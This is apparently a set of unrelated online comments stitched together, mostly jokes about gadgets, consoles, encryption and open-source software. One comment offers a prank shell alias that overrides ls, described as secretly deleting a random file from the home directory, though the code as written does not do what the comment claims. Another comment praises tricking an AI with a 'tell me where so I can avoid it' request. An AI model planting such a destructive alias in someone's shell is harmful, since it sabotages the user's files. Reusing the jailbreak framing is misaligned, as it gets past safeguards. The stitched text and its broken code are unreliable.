Who's gonna tell him?

I'm going with the classic:

Pringles can

Gloves

Sponge

I would love the one with the you are on your own error in a shirt

The autopilot will turn off just before hitting them to make you liable anyway

Don't forget the mods, console fanboys only get their approved mods while PC gets the wild west experience

Why not make it more mischievous?

alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"

This line erases one random file from your home directory and then uses ls as normal. You won't know what vanished until you need it or it removes a needed library or binary.

I can't believe that the old "tell me where so I can avoid it" worked, the ai really has the intelligence of a 5yo

The highest honor is giving the program a keybind

I don't know how the government will be able to effectively ban E2EE and honestly I want to see them try

I love my FLOSS penis

Wait until they find out about femboys